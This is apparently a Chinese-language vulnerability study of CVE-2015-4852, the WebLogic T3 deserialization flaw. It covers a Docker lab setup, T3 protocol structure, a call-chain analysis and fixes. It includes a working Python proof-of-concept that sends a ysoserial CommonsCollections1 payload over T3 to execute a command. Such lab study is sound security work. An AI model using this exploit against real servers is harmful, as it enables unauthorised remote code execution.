Weblogic漏洞学习:T3反序列化
字数 1860 2025-08-03 16:45:19
Weblogic T3协议反序列化漏洞(CVE-2015-4852)深入分析与实践
一、漏洞概述
CVE-2015-4852是Weblogic服务器中一个严重的反序列化漏洞,攻击者可以通过T3协议发送恶意序列化数据,在目标服务器上执行任意代码。该漏洞影响Weblogic 10.3.6.0、12.1.2.0、12.1.3.0和12.2.1.0等版本。
二、环境搭建
1. 构建测试环境
使用GitHub上的环境搭建项目:
git clone https://github.com/QAX-A-Team/WeblogicEnvironment
将下载的JDK压缩包(jdk-7u21-linux-x64.tar.gz)放在项目的jdks文件夹下,Weblogic的jar文件(wls1036_generic.jar)放在weblogics文件夹下。
构建Docker镜像:
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz \
--build-arg WEBLOGIC_JAR=wls1036_generic.jar \
-t weblogic1036jdk7u21 .
运行容器:
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 \
--name weblogic1036jdk7u21 weblogic1036jdk7u21
2. 远程调试配置
导出必要的Jar包:
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
在IDEA中:
- 打开
wlserver文件夹 - 导入
coherence_3.7/lib和modules目录 - 添加
server/lib作为依赖 - 配置Remote调试,设置正确的端口
三、T3协议分析
1. T3协议概述
T3协议是Weblogic特有的RMI通信协议,相比于标准JRMP协议具有以下特点:
- 服务端可持续监控客户端存活状态(心跳机制,默认60秒间隔)
- 240秒无心跳判定连接丢失
- 优化数据传输效率,一次连接可传输全部数据包
2. T3协议结构
T3协议数据包由两部分组成:
- 请求包头
- 请求主体(序列化数据)
请求包头示例:
t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001
测试T3协议连接
import socket
def T3Test(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" # 请求包头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001
T3Test(ip, port)
请求主体结构
T3协议中传输的序列化数据分为七个部分:
- 第一部分:协议头(如上面的T3握手信息)
- 第二部分到第七部分:都以
ac ed 00 05开头的序列化数据
攻击者可选择两种方式构造恶意数据:
- 替换第二到第七部分中的任意一个为恶意序列化数据
- 将第一部分与恶意序列化数据进行拼接
四、漏洞复现
1. 漏洞利用PoC
from os import popen
import struct
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget, cmd):
YSO_PATH = "ysoserial.jar"
popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: " + "".join(match))
else:
print("Not Weblogic")
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget, cmd)
T3Exploit(ip, port, payload)
2. 数据包分析
完整的T3协议攻击数据包包含四个部分:
- 数据包长度:4字节,大端序
- T3协议头:固定内容
- 反序列化标志:
fe 01 00 00+ac ed 00 05 - 序列化数据:由ysoserial生成的payload
五、漏洞原理分析
1. 漏洞调用链
-
weblogic.rjvm.InboundMsgAbbrev#readObject- 调用内部类
InboundMsgAbbrev.ServerChannelInputStream的readObject方法
- 调用内部类
-
InboundMsgAbbrev.ServerChannelInputStream#readObject- 继承自
ObjectInputStream类 - 重写了
resolveClass方法,但实际仍调用父类方法,未做任何防御
- 继承自
2. 漏洞成因
Weblogic自带commons-collections-3.2.0.jar,提供了反序列化利用链。攻击者可以通过T3协议发送精心构造的序列化数据,利用CommonsCollections1等gadget执行任意代码。
3. 反序列化防御机制
resolveClass方法是防御反序列化攻击的关键点:
- 作用:将类的序列化描述符转换为Class对象
- 防御方式:重写该方法并添加类黑名单过滤
- WebLogic未实现有效过滤导致漏洞
六、漏洞修复
1. 官方修复方案
Oracle通过以下方式修复了该漏洞:
- 在
resloveClass中添加ClassFilter.isBlackListed黑名单过滤 - 黑名单包含
org.apache.commons.collections等危险类
2. 临时防护措施
-
网络层防护:
- 限制T3协议端口(7001)的访问
- 使用Web代理或负载均衡,仅转发HTTP请求
-
配置修改:
# 禁用T3协议 cd /u01/app/oracle/middleware/wlserver/server/bin/ ./setDomainEnv.sh # 添加以下内容 export JAVA_OPTIONS="-Dweblogic.rjvm.enableprotocolswitch=false"
七、总结与扩展
1. 关键知识点
- T3协议是Weblogic特有的RMI通信协议
- 反序列化漏洞根源在于未过滤危险类的反序列化
resolveClass是防御反序列化的关键点
2. 扩展思考
-
其他Weblogic反序列化漏洞:
- XMLDecoder反序列化
- CVE-2017-3248
- CVE-2018-2628
-
防御反序列化攻击的通用方案:
- 升级到最新安全版本
- 使用白名单机制替代黑名单
- 实施严格的输入验证